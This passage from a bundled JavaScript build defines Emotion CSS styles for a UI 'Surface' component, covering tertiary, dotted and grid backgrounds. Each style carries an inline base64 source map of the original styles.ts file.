LmpvaW4oXG5cdFx0XHQnICdcblx0XHQpLFxuXHRcdCd0cmFuc3BhcmVudCAxJScsXG5cdF0uam9pbiggJywnICk7XG5cbmNvbnN0IGRvdHRlZEJhY2tncm91bmQyID0gKCBzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQ6IHN0cmluZyApID0+XG5cdFtcblx0XHRbIENPTkZJRy5zdXJmYWNlQmFja2dyb3VuZENvbG9yLCBzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQgXS5qb2luKFxuXHRcdFx0JyAnXG5cdFx0KSxcblx0XHQndHJhbnNwYXJlbnQgMSUnLFxuXHRdLmpvaW4oICcsJyApO1xuXG5jb25zdCBkb3R0ZWRCYWNrZ3JvdW5kQ29tYmluZWQgPSAoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZDogc3RyaW5nICkgPT5cblx0W1xuXHRcdGBsaW5lYXItZ3JhZGllbnQoICR7IGRvdHRlZEJhY2tncm91bmQxKFxuXHRcdFx0c3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkXG5cdFx0KSB9ICkgY2VudGVyYCxcblx0XHRgbGluZWFyLWdyYWRpZW50KCAkeyBkb3R0ZWRCYWNrZ3JvdW5kMihcblx0XHRcdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZFxuXHRcdCkgfSApIGNlbnRlcmAsXG5cdFx0Q09ORklHLnN1cmZhY2VCb3JkZXJCb2xkQ29sb3IsXG5cdF0uam9pbiggJywnICk7XG5cbmV4cG9ydCBjb25zdCBnZXREb3R0ZWQgPSAoXG5cdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZTogc3RyaW5nLFxuXHRzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQ6IHN0cmluZ1xuKSA9PiBjc3NgXG5cdGJhY2tncm91bmQ6ICR7IGRvdHRlZEJhY2tncm91bmRDb21iaW5lZCggc3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkICkgfTtcblx0YmFja2dyb3VuZC1zaXplOiAkeyBjdXN0b21CYWNrZ3JvdW5kU2l6ZSggc3VyZmFjZUJhY2tncm91bmRTaXplICkgfTtcbmA7XG5cbmNvbnN0IGdyaWRCYWNrZ3JvdW5kMSA9IFtcblx0YCR7IENPTkZJRy5zdXJmYWNlQm9yZGVyU3VidGxlQ29sb3IgfSAxcHhgLFxuXHQndHJhbnNwYXJlbnQgMXB4Jyxcbl0uam9pbiggJywnICk7XG5cbmNvbnN0IGdyaWRCYWNrZ3JvdW5kMiA9IFtcblx0JzkwZGVnJyxcblx0YCR7IENPTkZJRy5zdXJmYWNlQm9yZGVyU3VidGxlQ29sb3IgfSAxcHhgLFxuXHQndHJhbnNwYXJlbnQgMXB4Jyxcbl0uam9pbiggJywnICk7XG5cbmNvbnN0IGdyaWRCYWNrZ3JvdW5kQ29tYmluZWQgPSBbXG5cdGBsaW5lYXItZ3JhZGllbnQoICR7IGdyaWRCYWNrZ3JvdW5kMSB9IClgLFxuXHRgbGluZWFyLWdyYWRpZW50KCAkeyBncmlkQmFja2dyb3VuZDIgfSApYCxcbl0uam9pbiggJywnICk7XG5cbmV4cG9ydCBjb25zdCBnZXRHcmlkID0gKCBzdXJmYWNlQmFja2dyb3VuZFNpemU6IHN0cmluZyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBDT05GSUcuc3VyZmFjZUJhY2tncm91bmRDb2xvciB9O1xuXHRcdGJhY2tncm91bmQtaW1hZ2U6ICR7IGdyaWRCYWNrZ3JvdW5kQ29tYmluZWQgfTtcblx0XHRiYWNrZ3JvdW5kLXNpemU6ICR7IGN1c3RvbUJhY2tncm91bmRTaXplKCBzdXJmYWNlQmFja2dyb3VuZFNpemUgKSB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGdldFZhcmlhbnQgPSAoXG5cdHZhcmlhbnQ6IFN1cmZhY2VWYXJpYW50LFxuXHRzdXJmYWNlQmFja2dyb3VuZFNpemU6IHN0cmluZyxcblx0c3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkOiBzdHJpbmdcbikgPT4ge1xuXHRzd2l0Y2ggKCB2YXJpYW50ICkge1xuXHRcdGNhc2UgJ2RvdHRlZCc6IHtcblx0XHRcdHJldHVybiBnZXREb3R0ZWQoXG5cdFx0XHRcdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZSxcblx0XHRcdFx0c3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkXG5cdFx0XHQpO1xuXHRcdH1cblx0XHRjYXNlICdncmlkJzoge1xuXHRcdFx0cmV0dXJuIGdldEdyaWQoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZSApO1xuXHRcdH1cblx0XHRjYXNlICdwcmltYXJ5Jzoge1xuXHRcdFx0cmV0dXJuIHByaW1hcnk7XG5cdFx0fVxuXHRcdGNhc2UgJ3NlY29uZGFyeSc6IHtcblx0XHRcdHJldHVybiBzZWNvbmRhcnk7XG5cdFx0fVxuXHRcdGNhc2UgJ3RlcnRpYXJ5Jzoge1xuXHRcdFx0cmV0dXJuIHRlcnRpYXJ5O1xuXHRcdH1cblx0fVxufTtcbiJdfQ== */");
35351 var tertiary = /* @__PURE__ */ css("background:", config_values_default.surfaceBackgroundTertiaryColor, ";" + (false ? "" : ";label:tertiary;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE4QzJCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHLCBDT0xPUlMgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7IFN1cmZhY2VWYXJpYW50LCBTdXJmYWNlUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZXhwb3J0IGNvbnN0IFN1cmZhY2UgPSBjc3NgXG5cdGJhY2tncm91bmQtY29sb3I6ICR7IENPTkZJRy5zdXJmYWNlQ29sb3IgfTtcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5gO1xuXG5leHBvcnQgY29uc3QgYmFja2dyb3VuZCA9IGNzc2Bcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09ORklHLnN1cmZhY2VCYWNrZ3JvdW5kQ29sb3IgfTtcbmA7XG5cbmV4cG9ydCBmdW5jdGlvbiBnZXRCb3JkZXJzKCB7XG5cdGJvcmRlckJvdHRvbSxcblx0Ym9yZGVyTGVmdCxcblx0Ym9yZGVyUmlnaHQsXG5cdGJvcmRlclRvcCxcbn06IFBpY2s8XG5cdFN1cmZhY2VQcm9wcyxcblx0J2JvcmRlckJvdHRvbScgfCAnYm9yZGVyTGVmdCcgfCAnYm9yZGVyUmlnaHQnIHwgJ2JvcmRlclRvcCdcbj4gKSB7XG5cdGNvbnN0IGJvcmRlclN0eWxlID0gYDFweCBzb2xpZCAkeyBDT05GSUcuc3VyZmFjZUJvcmRlckNvbG9yIH1gO1xuXG5cdHJldHVybiBjc3MoIHtcblx0XHRib3JkZXJCb3R0b206IGJvcmRlckJvdHRvbSA/IGJvcmRlclN0eWxlIDogdW5kZWZpbmVkLFxuXHRcdGJvcmRlckxlZnQ6IGJvcmRlckxlZnQgPyBib3JkZXJTdHlsZSA6IHVuZGVmaW5lZCxcblx0XHRib3JkZXJSaWdodDogYm9yZGVyUmlnaHQgPyBib3JkZXJTdHlsZSA6IHVuZGVmaW5lZCxcblx0XHRib3JkZXJUb3A6IGJvcmRlclRvcCA/IGJvcmRlclN0eWxlIDogdW5kZWZpbmVkLFxuXHR9ICk7XG59XG5cbmV4cG9ydCBjb25zdCBwcmltYXJ5ID0gY3NzYGA7XG5cbmV4cG9ydCBjb25zdCBzZWNvbmRhcnkgPSBjc3NgXG5cdGJhY2tncm91bmQ6ICR7IENPTkZJRy5zdXJmYWNlQmFja2dyb3VuZFRpbnRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHRlcnRpYXJ5ID0gY3NzYFxuXHRiYWNrZ3JvdW5kOiAkeyBDT05GSUcuc3VyZmFjZUJhY2tncm91bmRUZXJ0aWFyeUNvbG9yIH07XG5gO1xuXG5jb25zdCBjdXN0b21CYWNrZ3JvdW5kU2l6ZSA9ICggc3VyZmFjZUJhY2tncm91bmRTaXplOiBzdHJpbmcgKSA9PlxuXHRbIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZSwgc3VyZmFjZUJhY2tncm91bmRTaXplIF0uam9pbiggJyAnICk7XG5cbmNvbnN0IGRvdHRlZEJhY2tncm91bmQxID0gKCBzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQ6IHN0cmluZyApID0+XG5cdFtcblx0XHQnOTBkZWcnLFxuXHRcdFsgQ09ORklHLnN1cmZhY2VCYWNrZ3JvdW5kQ29sb3IsIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZCBdLmpvaW4oXG5cdFx0XHQnICdcblx0XHQpLFxuXHRcdCd0cmFuc3BhcmVudCAxJScsXG5cdF0uam9pbiggJywnICk7XG5cbmNvbnN0IGRvdHRlZEJhY2tncm91bmQyID0gKCBzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQ6IHN0cmluZyApID0+XG5cdFtcblx0XHRbIENPTkZJRy5zdXJmYWNlQmFja2dyb3VuZENvbG9yLCBzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQgXS5qb2luKFxuXHRcdFx0JyAnXG5cdFx0KSxcblx0XHQndHJhbnNwYXJlbnQgMSUnLFxuXHRdLmpvaW4oICcsJyApO1xuXG5jb25zdCBkb3R0ZWRCYWNrZ3JvdW5kQ29tYmluZWQgPSAoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZDogc3RyaW5nICkgPT5cblx0W1xuXHRcdGBsaW5lYXItZ3JhZGllbnQoICR7IGRvdHRlZEJhY2tncm91bmQxKFxuXHRcdFx0c3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkXG5cdFx0KSB9ICkgY2VudGVyYCxcblx0XHRgbGluZWFyLWdyYWRpZW50KCAkeyBkb3R0ZWRCYWNrZ3JvdW5kMihcblx0XHRcdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZFxuXHRcdCkgfSApIGNlbnRlcmAsXG5cdFx0Q09ORklHLnN1cmZhY2VCb3JkZXJCb2xkQ29sb3IsXG5cdF0uam9pbiggJywnICk7XG5cbmV4cG9ydCBjb25zdCBnZXREb3R0ZWQgPSAoXG5cdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZTogc3RyaW5nLFxuXHRzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQ6IHN0cmluZ1xuKSA9PiBjc3NgXG5cdGJhY2tncm91bmQ6ICR7IGRvdHRlZEJhY2tncm91bmRDb21iaW5lZCggc3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkICkgfTtcblx0YmFja2dyb3VuZC1zaXplOiAkeyBjdXN0b21CYWNrZ3JvdW5kU2l6ZSggc3VyZmFjZUJhY2tncm91bmRTaXplICkgfTtcbmA7XG5cbmNvbnN0IGdyaWRCYWNrZ3JvdW5kMSA9IFtcblx0YCR7IENPTkZJRy5zdXJmYWNlQm9yZGVyU3VidGxlQ29sb3IgfSAxcHhgLFxuXHQndHJhbnNwYXJlbnQgMXB4Jyxcbl0uam9pbiggJywnICk7XG5cbmNvbnN0IGdyaWRCYWNrZ3JvdW5kMiA9IFtcblx0JzkwZGVnJyxcblx0YCR7IENPTkZJRy5zdXJmYWNlQm9yZGVyU3VidGxlQ29sb3IgfSAxcHhgLFxuXHQndHJhbnNwYXJlbnQgMXB4Jyxcbl0uam9pbiggJywnICk7XG5cbmNvbnN0IGdyaWRCYWNrZ3JvdW5kQ29tYmluZWQgPSBbXG5cdGBsaW5lYXItZ3JhZGllbnQoICR7IGdyaWRCYWNrZ3JvdW5kMSB9IClgLFxuXHRgbGluZWFyLWdyYWRpZW50KCAkeyBncmlkQmFja2dyb3VuZDIgfSApYCxcbl0uam9pbiggJywnICk7XG5cbmV4cG9ydCBjb25zdCBnZXRHcmlkID0gKCBzdXJmYWNlQmFja2dyb3VuZFNpemU6IHN0cmluZyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBDT05GSUcuc3VyZmFjZUJhY2tncm91bmRDb2xvciB9O1xuXHRcdGJhY2tncm91bmQtaW1hZ2U6ICR7IGdyaWRCYWNrZ3JvdW5kQ29tYmluZWQgfTtcblx0XHRiYWNrZ3JvdW5kLXNpemU6ICR7IGN1c3RvbUJhY2tncm91bmRTaXplKCBzdXJmYWNlQmFja2dyb3VuZFNpemUgKSB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGdldFZhcmlhbnQgPSAoXG5cdHZhcmlhbnQ6IFN1cmZhY2VWYXJpYW50LFxuXHRzdXJmYWNlQmFja2dyb3VuZFNpemU6IHN0cmluZyxcblx0c3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkOiBzdHJpbmdcbikgPT4ge1xuXHRzd2l0Y2ggKCB2YXJpYW50ICkge1xuXHRcdGNhc2UgJ2RvdHRlZCc6IHtcblx0XHRcdHJldHVybiBnZXREb3R0ZWQoXG5cdFx0XHRcdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZSxcblx0XHRcdFx0c3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkXG5cdFx0XHQpO1xuXHRcdH1cblx0XHRjYXNlICdncmlkJzoge1xuXHRcdFx0cmV0dXJuIGdldEdyaWQoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZSApO1xuXHRcdH1cblx0XHRjYXNlICdwcmltYXJ5Jzoge1xuXHRcdFx0cmV0dXJuIHByaW1hcnk7XG5cdFx0fVxuXHRcdGNhc2UgJ3NlY29uZGFyeSc6IHtcblx0XHRcdHJldHVybiBzZWNvbmRhcnk7XG5cdFx0fVxuXHRcdGNhc2UgJ3RlcnRpYXJ5Jzoge1xuXHRcdFx0cmV0dXJuIHRlcnRpYXJ5O1xuXHRcdH1cblx0fVxufTtcbiJdfQ== */");
35352 var customBackgroundSize = (surfaceBackgroundSize) => [surfaceBackgroundSize, surfaceBackgroundSize].join(" ");
35353 var dottedBackground1 = (surfaceBackgroundSizeDotted) => ["90deg", [config_values_default.surfaceBackgroundColor, surfaceBackgroundSizeDotted].join(" "), "transparent 1%"].join(",");
35354 var dottedBackground2 = (surfaceBackgroundSizeDotted) => [[config_values_default.surfaceBackgroundColor, surfaceBackgroundSizeDotted].join(" "), "transparent 1%"].join(",");
35355 var dottedBackgroundCombined = (surfaceBackgroundSizeDotted) => [`linear-gradient( ${dottedBackground1(surfaceBackgroundSizeDotted)} ) center`, `linear-gradient( ${dottedBackground2(surfaceBackgroundSizeDotted)} ) center`, config_values_default.surfaceBorderBoldColor].join(",");
35356 var getDotted = (surfaceBackgroundSize, surfaceBackgroundSizeDotted) => /* @__PURE__ */ css("background:", dottedBackgroundCombined(surfaceBackgroundSizeDotted), ";background-size:", customBackgroundSize(surfaceBackgroundSize), ";" + (false ? "" : ";label:getDotted;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFvRlEiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT05GSUcsIENPTE9SUyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgU3VyZmFjZVZhcmlhbnQsIFN1cmZhY2VQcm9wcyB9IGZyb20gJy4vdHlwZXMnO1xuXG5leHBvcnQgY29uc3QgU3VyZmFjZSA9IGNzc2Bcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09ORklHLnN1cmZhY2VDb2xvciB9O1xuXHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDkwMCBdIH07XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBiYWNrZ3JvdW5kID0gY3NzYFxuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT05GSUcuc3VyZmFjZUJhY2tncm91bmRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGZ1bmN0aW9uIGdldEJvcmRlcnMoIHtcblx0Ym9yZGVyQm90dG9tLFxuXHRib3JkZXJMZWZ0LFxuXHRib3JkZXJSaWdodCxcblx0Ym9yZGVyVG9wLFxufTogUGljazxcblx0U3VyZmFjZVByb3BzLFxuXHQnYm9yZGVyQm90dG9tJyB8ICdib3JkZXJMZWZ0JyB8ICdib3JkZXJSaWdodCcgfCAnYm9yZGVyVG9wJ1xuPiApIHtcblx0Y29uc3QgYm9yZGVyU3R5bGUgPSBgMXB4IHNvbGlkICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfWA7XG5cblx0cmV0dXJuIGNzcygge1xuXHRcdGJvcmRlckJvdHRvbTogYm9yZGVyQm90dG9tID8gYm9yZGVyU3R5bGUgOiB1bmRlZmluZWQsXG5cdFx0Ym9yZGVyTGVmdDogYm9yZGVyTGVmdCA/IGJvcmRlclN0eWxlIDogdW5kZWZpbmVkLFxuXHRcdGJvcmRlclJpZ2h0OiBib3JkZXJSaWdodCA/IGJvcmRlclN0eWxlIDogdW5kZWZpbmVkLFxuXHRcdGJvcmRlclRvcDogYm9yZGVyVG9wID8gYm9yZGVyU3R5bGUgOiB1bmRlZmluZWQsXG5cdH0gKTtcbn1cblxuZXhwb3J0IGNvbnN0IHByaW1hcnkgPSBjc3NgYDtcblxuZXhwb3J0IGNvbnN0IHNlY29uZGFyeSA9IGNzc2Bcblx0YmFja2dyb3VuZDogJHsgQ09ORklHLnN1cmZhY2VCYWNrZ3JvdW5kVGludENvbG9yIH07XG5gO1xuXG5leHBvcnQgY29uc3QgdGVydGlhcnkgPSBjc3NgXG5cdGJhY2tncm91bmQ6ICR7IENPTkZJRy5zdXJmYWNlQmFja2dyb3VuZFRlcnRpYXJ5Q29sb3IgfTtcbmA7XG5cbmNvbnN0IGN1c3RvbUJhY2tncm91bmRTaXplID0gKCBzdXJmYWNlQmFja2dyb3VuZFNpemU6IHN0cmluZyApID0+XG5cdFsgc3VyZmFjZUJhY2tncm91bmRTaXplLCBzdXJmYWNlQmFja2dyb3VuZFNpemUgXS5qb2luKCAnICcgKTtcblxuY29uc3QgZG90dGVkQmFja2dyb3VuZDEgPSAoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZDogc3RyaW5nICkgPT5cblx0W1xuXHRcdCc5MGRlZycsXG5cdFx0WyBDT05GSUcuc3VyZmFjZUJhY2tncm91bmRDb2xvciwgc3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkIF0uam9pbihcblx0XHRcdCcgJ1xuXHRcdCksXG5cdFx0J3RyYW5zcGFyZW50IDElJyxcblx0XS5qb2luKCAnLCcgKTtcblxuY29uc3QgZG90dGVkQmFja2dyb3VuZDIgPSAoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZDogc3RyaW5nICkgPT5cblx0W1xuXHRcdFsgQ09ORklHLnN1cmZhY2VCYWNrZ3JvdW5kQ29sb3IsIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZCBdLmpvaW4oXG5cdFx0XHQnICdcblx0XHQpLFxuXHRcdCd0cmFuc3BhcmVudCAxJScsXG5cdF0uam9pbiggJywnICk7XG5cbmNvbnN0IGRvdHRlZEJhY2tncm91bmRDb21iaW5lZCA9ICggc3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkOiBzdHJpbmcgKSA9PlxuXHRbXG5cdFx0YGxpbmVhci1ncmFkaWVudCggJHsgZG90dGVkQmFja2dyb3VuZDEoXG5cdFx0XHRzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWRcblx0XHQpIH0gKSBjZW50ZXJgLFxuXHRcdGBsaW5lYXItZ3JhZGllbnQoICR7IGRvdHRlZEJhY2tncm91bmQyKFxuXHRcdFx0c3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkXG5cdFx0KSB9ICkgY2VudGVyYCxcblx0XHRDT05GSUcuc3VyZmFjZUJvcmRlckJvbGRDb2xvcixcblx0XS5qb2luKCAnLCcgKTtcblxuZXhwb3J0IGNvbnN0IGdldERvdHRlZCA9IChcblx0c3VyZmFjZUJhY2tncm91bmRTaXplOiBzdHJpbmcsXG5cdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZDogc3RyaW5nXG4pID0+IGNzc2Bcblx0YmFja2dyb3VuZDogJHsgZG90dGVkQmFja2dyb3VuZENvbWJpbmVkKCBzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQgKSB9O1xuXHRiYWNrZ3JvdW5kLXNpemU6ICR7IGN1c3RvbUJhY2tncm91bmRTaXplKCBzdXJmYWNlQmFja2dyb3VuZFNpemUgKSB9O1xuYDtcblxuY29uc3QgZ3JpZEJhY2tncm91bmQxID0gW1xuXHRgJHsgQ09ORklHLnN1cmZhY2VCb3JkZXJTdWJ0bGVDb2xvciB9IDFweGAsXG5cdCd0cmFuc3BhcmVudCAxcHgnLFxuXS5qb2luKCAnLCcgKTtcblxuY29uc3QgZ3JpZEJhY2tncm91bmQyID0gW1xuXHQnOTBkZWcnLFxuXHRgJHsgQ09ORklHLnN1cmZhY2VCb3JkZXJTdWJ0bGVDb2xvciB9IDFweGAsXG5cdCd0cmFuc3BhcmVudCAxcHgnLFxuXS5qb2luKCAnLCcgKTtcblxuY29uc3QgZ3JpZEJhY2tncm91bmRDb21iaW5lZCA9IFtcblx0YGxpbmVhci1ncmFkaWVudCggJHsgZ3JpZEJhY2tncm91bmQxIH0gKWAsXG5cdGBsaW5lYXItZ3JhZGllbnQoICR7IGdyaWRCYWNrZ3JvdW5kMiB9IClgLFxuXS5qb2luKCAnLCcgKTtcblxuZXhwb3J0IGNvbnN0IGdldEdyaWQgPSAoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZTogc3RyaW5nICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IENPTkZJRy5zdXJmYWNlQmFja2dyb3VuZENvbG9yIH07XG5cdFx0YmFja2dyb3VuZC1pbWFnZTogJHsgZ3JpZEJhY2tncm91bmRDb21iaW5lZCB9O1xuXHRcdGJhY2tncm91bmQtc2l6ZTogJHsgY3VzdG9tQmFja2dyb3VuZFNpemUoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZSApIH07XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgZ2V0VmFyaWFudCA9IChcblx0dmFyaWFudDogU3VyZmFjZVZhcmlhbnQsXG5cdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZTogc3RyaW5nLFxuXHRzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQ6IHN0cmluZ1xuKSA9PiB7XG5cdHN3aXRjaCAoIHZhcmlhbnQgKSB7XG5cdFx0Y2FzZSAnZG90dGVkJzoge1xuXHRcdFx0cmV0dXJuIGdldERvdHRlZChcblx0XHRcdFx0c3VyZmFjZUJhY2tncm91bmRTaXplLFxuXHRcdFx0XHRzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWRcblx0XHRcdCk7XG5cdFx0fVxuXHRcdGNhc2UgJ2dyaWQnOiB7XG5cdFx0XHRyZXR1cm4gZ2V0R3JpZCggc3VyZmFjZUJhY2tncm91bmRTaXplICk7XG5cdFx0fVxuXHRcdGNhc2UgJ3ByaW1hcnknOiB7XG5cdFx0XHRyZXR1cm4gcHJpbWFyeTtcblx0XHR9XG5cdFx0Y2FzZSAnc2Vjb25kYXJ5Jzoge1xuXHRcdFx0cmV0dXJuIHNlY29uZGFyeTtcblx0XHR9XG5cdFx0Y2FzZSAndGVydGlhcnknOiB7XG5cdFx0XHRyZXR1cm4gdGVydGlhcnk7XG5cdFx0fVxuXHR9XG59O1xuIl19 */");
35357 var gridBackground1 = [`${config_values_default.surfaceBorderSubtleColor} 1px`, "transparent 1px"].join(",");
35358 var gridBackground2 = ["90deg", `${config_values_default.surfaceBorderSubtleColor} 1px`, "transparent 1px"].join(",");
35359 var gridBackgroundCombined = [`linear-gradient( ${gridBackground1} )`, `linear-gradient( ${gridBackground2} )`].join(",");
35360 var getGrid = (surfaceBackgroundSize) => {
35361 return /* @__PURE__ */ css("background:", config_values_default.surfaceBackgroundColor, ";background-image:", gridBackgroundCombined, ";background-size:", customBackgroundSize(surfaceBackgroundSize), ";" + (false ? "" : ";label:getGrid;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEwR1ciLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT05GSUcsIENPTE9SUyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgU3VyZmFjZVZhcmlhbnQsIFN1cmZhY2VQcm9wcyB9IGZyb20gJy4vdHlwZXMnO1xuXG5leHBvcnQgY29uc3QgU3VyZmFjZSA9IGNzc2Bcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09ORklHLnN1cmZhY2VDb2xvciB9O1xuXHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDkwMCBdIH07XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBiYWNrZ3JvdW5kID0gY3NzYFxuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT05GSUcuc3VyZmFjZUJhY2tncm91bmRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGZ1bmN0aW9uIGdldEJvcmRlcnMoIHtcblx0Ym9yZGVyQm90dG9tLFxuXHRib3JkZXJMZWZ0LFxuXHRib3JkZXJSaWdodCxcblx0Ym9yZGVyVG9wLFxufTogUGljazxcblx0U3VyZmFjZVByb3BzLFxuXHQnYm9yZGVyQm90dG9tJyB8ICdib3JkZXJMZWZ0JyB8ICdib3JkZXJSaWdodCcgfCAnYm9yZGVyVG9wJ1xuPiApIHtcblx0Y29uc3QgYm9yZGVyU3R5bGUgPSBgMXB4IHNvbGlkICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfWA7XG5cblx0cmV0dXJuIGNzcygge1xuXHRcdGJvcmRlckJvdHRvbTogYm9yZGVyQm90dG9tID8gYm9yZGVyU3R5bGUgOiB1bmRlZmluZWQsXG5cdFx0Ym9yZGVyTGVmdDogYm9yZGVyTGVmdCA/IGJvcmRlclN0eWxlIDogdW5kZWZpbmVkLFxuXHRcdGJvcmRlclJpZ2h0OiBib3JkZXJSaWdodCA/IGJvcmRlclN0eWxlIDogdW5kZWZpbmVkLFxuXHRcdGJvcmRlclRvcDogYm9yZGVyVG9wID8gYm9yZGVyU3R5bGUgOiB1bmRlZmluZWQsXG5cdH0gKTtcbn1cblxuZXhwb3J0IGNvbnN0IHByaW1hcnkgPSBjc3NgYDtcblxuZXhwb3J0IGNvbnN0IHNlY29uZGFyeSA9IGNzc2Bcblx0YmFja2dyb3VuZDogJHsgQ09ORklHLnN1cmZhY2VCYWNrZ3JvdW5kVGludENvbG9yIH07XG5gO1xuXG5leHBvcnQgY29uc3QgdGVydGlhcnkgPSBjc3NgXG5cdGJhY2tncm91bmQ6ICR7IENPTkZJRy5zdXJmYWNlQmFja2dyb3VuZFRlcnRpYXJ5Q29sb3IgfTtcbmA7XG5cbmNvbnN0IGN1c3RvbUJhY2tncm91bmRTaXplID0gKCBzdXJmYWNlQmFja2dyb3VuZFNpemU6IHN0cmluZyApID0+XG5cdFsgc3VyZmFjZUJhY2tncm91bmRTaXplLCBzdXJmYWNlQmFja2dyb3VuZFNpemUgXS5qb2luKCAnICcgKTtcblxuY29uc3QgZG90dGVkQmFja2dyb3VuZDEgPSAoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZDogc3RyaW5nICkgPT5cblx0W1xuXHRcdCc5MGRlZycsXG5cdFx0WyBDT05GSUcuc3VyZmFjZUJhY2tncm91bmRDb2xvciwgc3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkIF0uam9pbihcblx0XHRcdCcgJ1x